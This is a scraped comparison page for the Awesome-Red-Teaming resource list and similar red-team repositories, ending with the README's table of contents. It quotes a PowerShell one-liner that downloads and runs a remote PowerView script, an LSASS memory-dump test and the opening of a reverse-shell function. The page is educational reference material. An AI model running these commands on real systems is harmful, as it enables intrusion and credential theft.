Convert Figma logo to code with AI

yeyintminthuhtut logoAwesome-Red-Teaming

List of Awesome Red Teaming Resources

6,805
1,659
6,805
12

Top Related Projects

This repository contains cutting-edge open-source security tools (OST) for a red teamer and threat hunter.

Wiki to collect Red Team infrastructure hardening resources

Small and highly portable detection tests based on MITRE's ATT&CK.

Red Teaming Tactics and Techniques

1,046

Red Team Tips as posted by @vysecurity on Twitter

A collection of Red Team focused tools, scripts, and notes

Quick Overview

Awesome-Red-Teaming is a curated list of resources for Red Team / Penetration Testing practitioners. It provides a comprehensive collection of tools, techniques, and methodologies used in offensive security assessments. The repository serves as a valuable reference for both beginners and experienced professionals in the field of cybersecurity.

Pros

  • Extensive collection of resources covering various aspects of red teaming
  • Regularly updated with new tools and techniques
  • Well-organized structure, making it easy to find specific information
  • Includes both free and commercial tools, providing options for different budgets

Cons

  • May be overwhelming for beginners due to the vast amount of information
  • Some links may become outdated over time
  • Lacks detailed explanations or tutorials for using the listed tools
  • Does not provide a standardized methodology for conducting red team assessments

Note: As this is not a code library, the code example and quick start sections have been omitted.

Competitor Comparisons

This repository contains cutting-edge open-source security tools (OST) for a red teamer and threat hunter.

Pros of Red-Teaming-Toolkit

  • More structured organization with clear categories
  • Includes specific tools and commands for various techniques
  • Regularly updated with recent contributions

Cons of Red-Teaming-Toolkit

  • Less comprehensive in terms of overall resources
  • Focuses primarily on tools rather than methodologies
  • May be overwhelming for beginners due to technical details

Code Comparison

Red-Teaming-Toolkit includes specific commands and scripts, while Awesome-Red-Teaming primarily lists resources. Here's an example from Red-Teaming-Toolkit:

powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

Awesome-Red-Teaming doesn't typically include code snippets, focusing instead on curating links to external resources.

Summary

Red-Teaming-Toolkit offers a more hands-on approach with specific tools and commands, making it useful for practitioners looking for immediate implementation. Awesome-Red-Teaming provides a broader overview of red teaming concepts and resources, making it better suited for those seeking a comprehensive understanding of the field. Both repositories complement each other, with Red-Teaming-Toolkit being more practical and Awesome-Red-Teaming offering a wider range of educational materials.

Wiki to collect Red Team infrastructure hardening resources

Pros of Red-Team-Infrastructure-Wiki

  • More focused on infrastructure setup and management
  • Provides detailed guides and walkthroughs for specific tasks
  • Includes practical examples and configurations

Cons of Red-Team-Infrastructure-Wiki

  • Less comprehensive in covering overall red teaming topics
  • Fewer external resources and links compared to Awesome-Red-Teaming
  • May require more technical expertise to implement some concepts

Code Comparison

While both repositories primarily consist of documentation and resources rather than code, Red-Team-Infrastructure-Wiki does include some configuration examples:

Red-Team-Infrastructure-Wiki:

server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

Awesome-Red-Teaming doesn't typically include code snippets, focusing instead on curating links and resources.

Summary

Red-Team-Infrastructure-Wiki offers in-depth guidance on setting up and managing red team infrastructure, with practical examples and configurations. It's particularly useful for those focused on the technical aspects of infrastructure. Awesome-Red-Teaming, on the other hand, provides a broader overview of red teaming topics and resources, making it a valuable starting point for exploring the field. The choice between the two depends on whether you need specific infrastructure guidance or a comprehensive resource collection.

Small and highly portable detection tests based on MITRE's ATT&CK.

Pros of atomic-red-team

  • Provides a library of tests mapped to MITRE ATT&CK tactics and techniques
  • Offers a standardized format for describing and sharing atomic tests
  • Includes a command-line tool for executing tests and generating reports

Cons of atomic-red-team

  • Focuses primarily on Windows environments, with limited coverage for other platforms
  • Requires more setup and configuration compared to a curated list of resources
  • May not cover as wide a range of red teaming topics as a comprehensive resource collection

Code Comparison

Atomic-red-team example (YAML format):

attack_technique: T1003.001
display_name: OS Credential Dumping - LSASS Memory
atomic_tests:
  - name: Dump LSASS.exe Memory using ProcDump
    description: |
      Dump LSASS.exe memory using ProcDump
    supported_platforms:
      - windows
    executor:
      command: |
        procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp

Awesome-Red-Teaming doesn't contain code examples, as it's a curated list of resources.

Summary

Atomic-red-team provides a structured approach to red team testing with executable tests, while Awesome-Red-Teaming offers a broader collection of resources for various red teaming activities. The choice between them depends on whether you need specific, executable tests or a comprehensive reference for red teaming techniques and tools.

Red Teaming Tactics and Techniques

Pros of RedTeaming-Tactics-and-Techniques

  • More in-depth technical content with detailed explanations
  • Organized by specific tactics and techniques
  • Includes practical examples and code snippets

Cons of RedTeaming-Tactics-and-Techniques

  • Less frequently updated compared to Awesome-Red-Teaming
  • Narrower focus on specific tactics rather than a broad overview
  • Fewer external resources and links

Code Comparison

While Awesome-Red-Teaming primarily provides links to external resources, RedTeaming-Tactics-and-Techniques includes code snippets. Here's an example from RedTeaming-Tactics-and-Techniques:

$processName = "notepad"
$targetProcess = Get-Process -Name $processName
$targetProcess | Select-Object ProcessName, Id, Path

This code demonstrates how to retrieve information about a specific process, which could be useful in red teaming scenarios.

Awesome-Red-Teaming doesn't typically include code snippets, focusing instead on curating links to external resources and tools.

Both repositories serve as valuable resources for red teaming professionals, with Awesome-Red-Teaming offering a broader overview and extensive link collection, while RedTeaming-Tactics-and-Techniques provides more detailed technical content and practical examples.

1,046

Red Team Tips as posted by @vysecurity on Twitter

Pros of RedTips

  • More concise and focused content, making it easier to quickly find specific red teaming tips
  • Regular updates with new tips and techniques
  • Includes a Twitter bot (@RedTips_) for easy access to daily red teaming tips

Cons of RedTips

  • Less comprehensive coverage of red teaming topics compared to Awesome-Red-Teaming
  • Fewer categorized resources and tools
  • Limited explanations for each tip, which may require additional research for beginners

Code Comparison

While both repositories primarily focus on curating information rather than providing code, RedTips occasionally includes short code snippets or commands. For example:

RedTips:

Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'" | Select-Object Name, SID

Awesome-Red-Teaming typically doesn't include code snippets directly but links to external resources containing code examples.

Both repositories serve as valuable resources for red teamers, with Awesome-Red-Teaming offering a more comprehensive collection of tools and techniques, while RedTips provides quick, actionable tips for daily use. The choice between the two depends on the user's specific needs and level of expertise in red teaming.

A collection of Red Team focused tools, scripts, and notes

Pros of red-team-scripts

  • Focused collection of practical scripts for red team operations
  • Regularly updated with new tools and techniques
  • Includes detailed documentation and usage instructions for each script

Cons of red-team-scripts

  • Smaller scope compared to the comprehensive resource list in Awesome-Red-Teaming
  • Limited to specific scripting languages and tools
  • May require more technical expertise to implement effectively

Code Comparison

red-team-scripts:

function Invoke-PowerShellTcp 
{ 
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="bind")]
        [String]
        $IPAddress,

Awesome-Red-Teaming: (No direct code examples provided, as it's primarily a curated list of resources)

Summary

red-team-scripts offers a focused collection of practical scripts for red team operations, with regular updates and detailed documentation. However, it has a narrower scope compared to Awesome-Red-Teaming, which provides a comprehensive list of resources covering various aspects of red teaming. While red-team-scripts is more hands-on with ready-to-use scripts, Awesome-Red-Teaming serves as a broader knowledge base for red team professionals. The choice between the two depends on whether you need specific tools or a wider range of resources for red teaming activities.

Convert Figma logo designs to code with AI

Visual Copilot

Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.

Try Visual Copilot

README

This List is no longer updated.

Awesome Red Teaming

List of Awesome Red Team / Red Teaming Resources

This list is for anyone wishing to learn about Red Teaming but do not have a starting point.

Anyway, this is a living resources and will update regularly with latest Adversarial Tactics and Techniques based on Mitre ATT&CK

You can help by sending Pull Requests to add more information.

Table of Contents

↑ Initial Access

↑ Execution

↑ Persistence

↑ Privilege Escalation

User Account Control Bypass

Escalation

↑ Defense Evasion

↑ Credential Access

↑ Discovery

↑ Lateral Movement

↑ Collection

↑ Exfiltration

↑ Command and Control

Domain Fronting

Connection Proxy

Web Services

Application Layer Protocol

Infrastructure

↑ Embedded and Peripheral Devices Hacking

↑ Misc

↑ RedTeam Gadgets

Network Implants

Wifi Auditing

IoT

Software Defined Radio - SDR

Misc

↑ Ebooks

↑ Training ( Free )

Home Lab

↑ Certification